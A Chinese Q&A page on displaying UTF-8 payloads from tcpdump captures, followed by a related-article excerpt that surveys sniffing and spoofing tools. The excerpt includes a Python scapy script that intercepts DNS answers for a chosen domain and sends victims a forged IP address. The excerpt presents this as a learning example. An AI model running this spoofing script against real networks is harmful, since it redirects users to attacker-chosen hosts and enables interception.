以UTF-8嗅探和显示TCP数据包

本文探讨了如何使用tcpdump工具正确显示网络上流动的tcp数据包中的UTF-8文本内容。通过调整终端设置和使用特定的命令行参数,如-A选项结合tr或strings命令,以及iconv工具,可以实现对UTF-8编码的正确解析和显示。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

我正在尝试使用tcpdump来显示在我的网络上流动的tcp数据包的内容.
我有类似的东西:

 

 

tcpdump -i wlan0 -l -A

-A选项将内容显示为ASCII文本,但我的文本似乎是UTF-8.有没有办法使用tcpdump正确显示UTF-8?你知道其他任何有用的工具吗?

非常感谢

最佳答案

确保您的终端支持输出UTF-8并将输出管道输出到替换不可打印字符的内容:

 

 

tcpdump -lnpi lo tcp port 80 -s 16000 -w - | tr -t '[^[:print:]]' ''
tcpdump -lnpi lo tcp port 80 -s 16000 -w - | strings -e S -n 1

如果您的终端不支持UTF-8,您必须将输出转换为支持的编码.例如.:

 

tcpdump -lnpi lo tcp port 80 -s 16000 -w - | tr -t '[^[:print:]]' '' | iconv -c -f utf-8 -t cp1251

-c选项告诉iconv省略在目标编码中没有有效表示的字符.

相关文章

### 网络嗅探与 Spoof 技术概述 网络嗅探(Network Sniffing)是一种捕获分析网络流量的技术,通常用于监控、调试以及恶意活动检测。Spoof 技术则指伪装成合法设备或服务的行为,常见的有 ARP 欺骗、DNS 欺骗等。 #### 网络嗅探的实现原理 网络嗅探的核心在于监听局域网内的数据包传输。大多数现代网络采用交换机作为核心设备,默认情况下只会将特定的数据帧发送到目标主机。然而,在某些配置下,可以通过设置网络接口卡(NIC)为混杂模式(Promiscuous Mode),从而接收所有经过该链路的数据帧[^1]。这种技术广泛应用于网络安全审计渗透测试中。 #### DNS Spoof 的实现机制 DNS Spoof 主要利用了 DNS 协议本身缺乏强验证的特点。攻击者通过工具如 `dnsspoof` 可以拦截正常的 DNS 查询请求,并返回虚假的结果给客户端,使后者访问错误甚至有害的目标地址[^4]。具体来说,当受害者发起一次域名解析时,如果被中间节点篡改,则可能收到伪造 IP 地址而非真实服务器位置的信息。 #### 常见工具介绍及其应用场景 - **Firewalk**: 这是一款基于 ICMP TCP/IP 协议栈行为特征探测远程防火墙规则集的强大工具。它可以发现哪些端口开放或者关闭状态下的回应情况,进而推测出潜在的安全策略布局[^3]。 - **Hping2/3**: Hping 是一款命令行式的TCP/IP报文生成器兼分析仪,支持多种协议类型的自定义构建,比如ICMP, UDP, RAW-IP等等。其中关于路径追踪的功能部分能够完成类似于 Firewalk 执行的任务——即确定沿途各跳点如何处理输入流经它们的数据单元。 - **Dnsspoof**: 正如前面提到过的那样,这是一个专门用来实施 DNS 缓存投毒实验的小型脚本库集合体;允许使用者快速搭建起一套简易版但功能齐全的欺骗环境来进行学习研究用途。 以下是使用 Python 实现的一个简单的 DNS Spoof 脚本示例: ```python from scapy.all import * def process_packet(packet): if packet.haslayer(DNSRR): # Check for DNS Resource Record (response) try: requested_name = packet[DNSQR].qname.decode('utf-8') if 'example.com' in requested_name: # Replace with your target domain packet[DNS].an = DNSRR(rrname=requested_name, rdata='192.168.1.100') # Fake IP address del packet[IP].len del packet[IP].chksum del packet[UDP].len del packet[UDP].chksum sendp(Ether(dst=packet[Ether].src)/packet[IP], iface="eth0") # Send the modified response back to victim machine on eth0 interface. except IndexError as e: pass sniff(filter="udp port 53", prn=process_packet) # Capture all packets destined towards standard dns service ports and apply our custom function over them one by one sequentially without any delay between iterations whatsoever! ``` 此代码片段展示了如何截取并修改指定条件下的 DNS 应答消息内容,最终达到误导查询者的目地。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值